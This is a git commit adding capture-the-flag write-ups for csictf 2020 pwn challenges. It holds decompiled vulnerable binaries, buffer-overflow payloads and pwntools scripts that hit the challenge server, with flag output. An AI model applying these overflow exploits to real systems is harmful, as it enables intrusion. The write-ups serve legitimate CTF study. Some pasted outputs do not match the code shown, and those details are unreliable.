Added Pwn Challenges
This commit is contained in:
		
							parent
							
								
									1e5c119ea1
								
							
						
					
					
						commit
						88ee32973e
					
				| 
						 | 
					@ -0,0 +1,10 @@
 | 
				
			||||||
 | 
					## Global Warming
 | 
				
			||||||
 | 
					The main idea finding the flag is `%n` exploit.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-1:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					https://github.com/crypt0n1te/Write-Ups/blob/master/csictf-2020/pwn/global-warming.md
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-5:
 | 
				
			||||||
 | 
					Finally the flag becomes:
 | 
				
			||||||
 | 
					`csictf{n0_5tr1ng5_@tt@ch3d}`
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,84 @@
 | 
				
			||||||
 | 
					## Secret Society
 | 
				
			||||||
 | 
					The main idea finding the flag is Buffer Overflow.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-1:
 | 
				
			||||||
 | 
					After I downloaded `secret-society`, I reversed it with IDA, I got this source code:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					**main()** function:
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					undefined8 main(void)
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  size_t sVar1;
 | 
				
			||||||
 | 
					  undefined8 local_d8 [2];
 | 
				
			||||||
 | 
					  undefined4 uStack200;
 | 
				
			||||||
 | 
					  undefined auStack196 [108];
 | 
				
			||||||
 | 
					  char local_58 [56];
 | 
				
			||||||
 | 
					  FILE *local_20;
 | 
				
			||||||
 | 
					  char *local_18;
 | 
				
			||||||
 | 
					  __gid_t local_c;
 | 
				
			||||||
 | 
					  
 | 
				
			||||||
 | 
					  setvbuf(stdout,(char *)0x0,2,0);
 | 
				
			||||||
 | 
					  local_c = getegid();
 | 
				
			||||||
 | 
					  setresgid(local_c,local_c,local_c);
 | 
				
			||||||
 | 
					  memset(local_58,0,0x32);
 | 
				
			||||||
 | 
					  memset(local_d8,0,0x80);
 | 
				
			||||||
 | 
					  puts("What is the secret phrase?");
 | 
				
			||||||
 | 
					  fgets((char *)local_d8,0x80,stdin);
 | 
				
			||||||
 | 
					  local_18 = strchr((char *)local_d8,10);
 | 
				
			||||||
 | 
					  if (local_18 != (char *)0x0) {
 | 
				
			||||||
 | 
					    *local_18 = '\0';
 | 
				
			||||||
 | 
					  }
 | 
				
			||||||
 | 
					  sVar1 = strlen((char *)local_d8);
 | 
				
			||||||
 | 
					  *(undefined8 *)((long)local_d8 + sVar1) = 0x657261206577202c;
 | 
				
			||||||
 | 
					  *(undefined8 *)((long)local_d8 + sVar1 + 8) = 0x6877797265766520;
 | 
				
			||||||
 | 
					  *(undefined4 *)((long)&uStack200 + sVar1) = 0x2e657265;
 | 
				
			||||||
 | 
					  auStack196[sVar1] = 0;
 | 
				
			||||||
 | 
					  local_20 = fopen("flag.txt","r");
 | 
				
			||||||
 | 
					  if (local_20 == (FILE *)0x0) {
 | 
				
			||||||
 | 
					    printf("You are a double agent, it\'s game over for you.");
 | 
				
			||||||
 | 
					                    /* WARNING: Subroutine does not return */
 | 
				
			||||||
 | 
					    exit(0);
 | 
				
			||||||
 | 
					  }
 | 
				
			||||||
 | 
					  fgets(local_58,0x32,local_20);
 | 
				
			||||||
 | 
					  printf("Shhh... don\'t tell anyone else about ");
 | 
				
			||||||
 | 
					  puts((char *)local_d8);
 | 
				
			||||||
 | 
					  return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-2:
 | 
				
			||||||
 | 
					So, basically I had to overflow 3 buffers in above code `local_d8 (16 bytes, our input buffer)`, `uStack200 (4 bytes)` & `auStack196 (108 bytes)`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					So I tried using Debugger to get the address of the flag.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					echo flag > flag.txt
 | 
				
			||||||
 | 
					perl -e 'print "A"x16 . "B"x4 . "C"x108' | ./secret-society
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					I got this output: 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					What is the secret phrase?
 | 
				
			||||||
 | 
					Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,flag
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-3:
 | 
				
			||||||
 | 
					So, we just have to run this remotely on the web server.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					perl -e 'print "A"x16 . "B"x4 . "C"x108' | nc chall.csivit.com 30041
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					I got this output: 
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					What is the secret phrase?
 | 
				
			||||||
 | 
					Shhh... don't tell anyone else about AAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC,csivit{Bu!!er_e3pl01ts_ar5_5asy}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Voila! I got the flag there.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-4:
 | 
				
			||||||
 | 
					Finally the flag becomes:
 | 
				
			||||||
 | 
					`csivit{Bu!!er_e3pl01ts_ar5_5asy}`
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1 @@
 | 
				
			||||||
 | 
					flag
 | 
				
			||||||
										
											Binary file not shown.
										
									
								
							| 
						 | 
					@ -0,0 +1,53 @@
 | 
				
			||||||
 | 
					## pwn intended 0x1
 | 
				
			||||||
 | 
					The main idea finding the flag is Buffer Overflow.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-1:
 | 
				
			||||||
 | 
					I reversed the file with Ghidra.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					undefined8 main(void)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  char local_38 [44];
 | 
				
			||||||
 | 
					  int local_c;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					  local_c = 0;
 | 
				
			||||||
 | 
					  setbuf(stdout,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stdin,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stderr,(char *)0x0);
 | 
				
			||||||
 | 
					  puts("Please pour me some coffee:");
 | 
				
			||||||
 | 
					  gets(local_38);
 | 
				
			||||||
 | 
					  puts("\nThanks!\n");
 | 
				
			||||||
 | 
					  if (local_c != 0) {
 | 
				
			||||||
 | 
					    puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
 | 
				
			||||||
 | 
					    system("cat flag.txt");
 | 
				
			||||||
 | 
					  }
 | 
				
			||||||
 | 
					  return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-2:
 | 
				
			||||||
 | 
					Clearly, this was a case for Buffer Overflow.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					A simple command to overflow the buffer would give us the flag.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					`python -c 'print"A"*45' | nc chall.csivit.com 30001`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					<i> The piping done other way round doesn't help though. </i>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Output:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					Please pour me some coffee:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Thanks!
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Oh no, you spilled some coffee on the floor! Use the flag to clean it.
 | 
				
			||||||
 | 
					csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Voila! There we have our flag.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-3:
 | 
				
			||||||
 | 
					Finally the flag becomes:
 | 
				
			||||||
 | 
					`csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}`
 | 
				
			||||||
										
											Binary file not shown.
										
									
								
							| 
						 | 
					@ -0,0 +1,63 @@
 | 
				
			||||||
 | 
					## pwn-intended-0x2
 | 
				
			||||||
 | 
					The main idea finding the flag is overwrite the correct hex after padding.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-1:
 | 
				
			||||||
 | 
					After I downloaded `pwn-intended-0x2`, I reversed it with IDA, I got this source code:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					undefined8 main(void)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  char local_38 [44];
 | 
				
			||||||
 | 
					  int local_c;
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					  local_c = 0;
 | 
				
			||||||
 | 
					  setbuf(stdout,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stdin,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stderr,(char *)0x0);
 | 
				
			||||||
 | 
					  puts("Welcome to csictf! Where are you headed?");
 | 
				
			||||||
 | 
					  gets(local_38);
 | 
				
			||||||
 | 
					  puts("Safe Journey!");
 | 
				
			||||||
 | 
					  if (local_c == -0x35014542) {
 | 
				
			||||||
 | 
					    puts("You\'ve reached your destination, here\'s a flag!");
 | 
				
			||||||
 | 
					    system("/bin/cat flag.txt");
 | 
				
			||||||
 | 
					  }
 | 
				
			||||||
 | 
					  return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-2:
 | 
				
			||||||
 | 
					`local_c` is checked for a hex value of `0xcafebabe`. Since the size of local array is 44, we have to write `0xcafebabe` after 44 bytes.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-3:
 | 
				
			||||||
 | 
					I wrote a very common `rev_exploit.py` to pwn into the machine.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import pwn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r = pwn.remote('chall.csivit.com', 30007)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					payload = "A"*44 + '\xbe\xba\xfe\xca'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r.sendline(payload)
 | 
				
			||||||
 | 
					r.interactive()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-4:
 | 
				
			||||||
 | 
					When I finally ran this `python3 rev_exploit.py`, I got this output:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					[+] Opening connection to chall.csivit.com on port 30007: Done
 | 
				
			||||||
 | 
					[*] Switching to interactive mode
 | 
				
			||||||
 | 
					Welcome to csictf! Where are you headed?
 | 
				
			||||||
 | 
					Safe Journey!
 | 
				
			||||||
 | 
					You've reached your destination, here's a flag!
 | 
				
			||||||
 | 
					csictf{c4n_y0u_re4lly_telep0rt?}[*] Got EOF while reading in interactive 
 | 
				
			||||||
 | 
					$
 | 
				
			||||||
 | 
					[*] Interrupted
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Voila! I got the flag there.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-5:
 | 
				
			||||||
 | 
					Finally the flag becomes:
 | 
				
			||||||
 | 
					`csictf{c4n_y0u_re4lly_telep0rt?}`
 | 
				
			||||||
										
											Binary file not shown.
										
									
								
							| 
						 | 
					@ -0,0 +1,10 @@
 | 
				
			||||||
 | 
					#!/usr/bin/env python3
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import pwn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r = pwn.remote('chall.csivit.com', 30007)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					payload = "A"*44 + '\xbe\xba\xfe\xca'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r.sendline(payload)
 | 
				
			||||||
 | 
					r.interactive()
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,76 @@
 | 
				
			||||||
 | 
					## pwn-intended-0x3
 | 
				
			||||||
 | 
					The main idea finding the flag is overwrite the correct hex after padding.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-1:
 | 
				
			||||||
 | 
					After I downloaded `pwn-intended-0x3`, I reversed it with IDA, I got this source code:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					**main()** function:
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					undefined8 main(void)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  char local_28 [32];
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					  setbuf(stdout,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stdin,(char *)0x0);
 | 
				
			||||||
 | 
					  setbuf(stderr,(char *)0x0);
 | 
				
			||||||
 | 
					  puts("Welcome to csictf! Time to teleport again.");
 | 
				
			||||||
 | 
					  gets(local_28);
 | 
				
			||||||
 | 
					  return 0;
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					**flag()** function:
 | 
				
			||||||
 | 
					```c
 | 
				
			||||||
 | 
					void flag(void)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					{
 | 
				
			||||||
 | 
					  puts("Well, that was quick. Here\'s your flag:");
 | 
				
			||||||
 | 
					  system("cat flag.txt");
 | 
				
			||||||
 | 
					                    /* WARNING: Subroutine does not return */
 | 
				
			||||||
 | 
					  exit(0);
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-2:
 | 
				
			||||||
 | 
					I just had to write the address of the flag function after 32+8 bytes.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					So I tried using Debugger to get the address of the flag.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					echo into functions | gdb ./pwn-intended-0x3 | grep flag
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					I got this output: `0x00000000004011ce  flag`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-3:
 | 
				
			||||||
 | 
					I wrote a very common `rev_exploit.py` to pwn into the machine.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```python
 | 
				
			||||||
 | 
					import pwn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r = pwn.remote('chall.csivit.com', 30013)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					payload = "A"*40 + '\xce\x11@\x00\x00\x00\x00\x00'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					r.sendline(payload)
 | 
				
			||||||
 | 
					r.interactive()
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-4:
 | 
				
			||||||
 | 
					When I finally ran this `python3 rev_exploit.py`, I got this output:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```bash
 | 
				
			||||||
 | 
					[+] Opening connection to chall.csivit.com on port 30013: Done
 | 
				
			||||||
 | 
					[*] Switching to interactive mode
 | 
				
			||||||
 | 
					Welcome to csictf! Time to teleport again.
 | 
				
			||||||
 | 
					Well, that was quick. Here's your flag:
 | 
				
			||||||
 | 
					You've reached your destination, here's a flag!
 | 
				
			||||||
 | 
					csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}[*] Got EOF while reading in interactive 
 | 
				
			||||||
 | 
					$
 | 
				
			||||||
 | 
					[*] Interrupted
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					Voila! I got the flag there.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					#### Step-5:
 | 
				
			||||||
 | 
					Finally the flag becomes:
 | 
				
			||||||
 | 
					`csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}`
 | 
				
			||||||
										
											Binary file not shown.
										
									
								
							
		Loading…
	
		Reference in New Issue